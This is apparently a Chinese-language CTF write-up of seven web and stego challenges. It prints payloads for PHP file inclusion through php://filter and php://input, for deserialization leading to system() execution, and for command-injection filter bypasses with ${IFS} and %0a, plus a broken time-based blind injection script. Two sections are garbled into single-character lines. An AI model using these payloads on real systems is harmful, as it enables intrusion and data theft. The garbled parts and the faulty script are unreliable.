1. nani
http://120.55.43.255:24719/查看源码得以下内容,其URL提示文件包含
查看http://120.55.43.255:24719/index.php?file=show.php得
使用http://120.55.43.255:24719/index.php?file=php://filter/read=convert.base64-encode/resource=./user.php
使用base64解密
构造payload:
cmd=O:7:“convent”:2:{s:4:“warn”;s:14:“system(‘dir’);”;}
2. Xlmg
Stegsolve图片隐写查看器的使用手册:
在Analyse中:
File Format:文件格式
Data Extract:数据提取
Steregram Solve:立体试图 可以左右控制偏移
Frame Browser:帧浏览器
Image Combiner:拼图,图片拼接
其中data extract右边部分表示RGBA(Alpha是透明度)的颜色通道,而rgba是代表Red(红色)Green(绿色)Blue(蓝色)和Alpha的色彩空间。它们代表的实际上是亮度。右半部分就是Extra By(额外的)和Bit Order(位顺序)和Bit Plane Order(位平面的顺序)
3. random
出$key ==
t
r
u
e
k
e
y
接
着
根
据
提
示
,
存
在
文
件
包
含
。
先
闭
合
v
a
r
d
u
m
p
(
true_key 接着根据提示,存在文件包含。先闭合var_dump(
truekey接着根据提示,存在文件包含。先闭合vardump(a)既构造得?hello=1);print_r(file_(“./flag.php”));//&seed=2&key=1216699170
4.Admin
http://120.55.43.255:28119/
isset()函数:就是判断变量是否存在并且不为空,存在返回ture,不存在返回false。
file_get_contents() 函数:是用于将文件的内容读入到一个字符串中的首选方法。
include(
f
i
l
e
)
;
/
/
c
l
a
s
s
.
p
h
p
:
意
思
是
让
我
们
输
出
h
e
l
l
o
a
d
m
i
n
!
,
然
后
执
行
文
件
包
含
漏
洞
。
所
以
,
我
们
应
该
想
办
法
让
f
i
l
e
g
e
t
c
o
n
t
e
n
t
s
(
file); //class.php: 意思是让我们输出hello admin!,然后执行文件包含漏洞。 所以,我们应该想办法让file_get_contents(
file);//class.php:意思是让我们输出helloadmin!,然后执行文件包含漏洞。所以,我们应该想办法让filegetcontents(user,‘r’)的内容变成admin就可以绕过file_get_contents,这里用的方法是使用php的封装协议—— php://input。php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
绕过第一个,紧接着文件包含file=php://filter/convert.base64-encode/resource=class.php构造得到http://120.55.43.255:28119/?user=php://input&file=php://filter/convert.base64-encode/resource=class
解码
反序列pass=O:4:“Read”:1:{s:4:“file”;s:62:“php://filter/read=convert.base64-encode/resource=fffffflag.php”;}既?user=php://input&file=class.php&pass=O:4:“Read”:1:{s:4:“file”;s:62:“php://filter/read=convert.base64-encode/resource=fffffflag.php”;}后面一个文件包含加反序列。
解码
5.Post1
过滤了cat,空格。使用cut、$ {IFS }来代替
构造palyload:a=cut$ {IFS }-b1-$ {IFS }flag.txt
6.Ping
strcmp ():进行二进制安全字符串比较,用来判断password是否一致
include($_REQUEST[‘path’]):文件包含,传入的参数是path
使用password[]绕过
?path=php://filter//read=convert.base64-encode/resource=ping.php
解码
过滤了一些分隔符,可以使用%0a换行符符号–。
Cat ffffff1111aagggg.txt
7.Post2(半成)
使用代码
Import requests
Import string
dic = string.printable
flag = “”
for j in range(1,50):
for i in range(len(dic)):
url = http://120.55.43.255:22712/
date = {“cmd” : ‘’’[ ‘cut -c | ‘’’+str(j)+’’’ flag.txt‘ = “%c” ]}
try:
r = request.post(url,data=data,time=1)
except requests.exceptions.ReadTimeout,e:
flag += dic[i]
print flag
break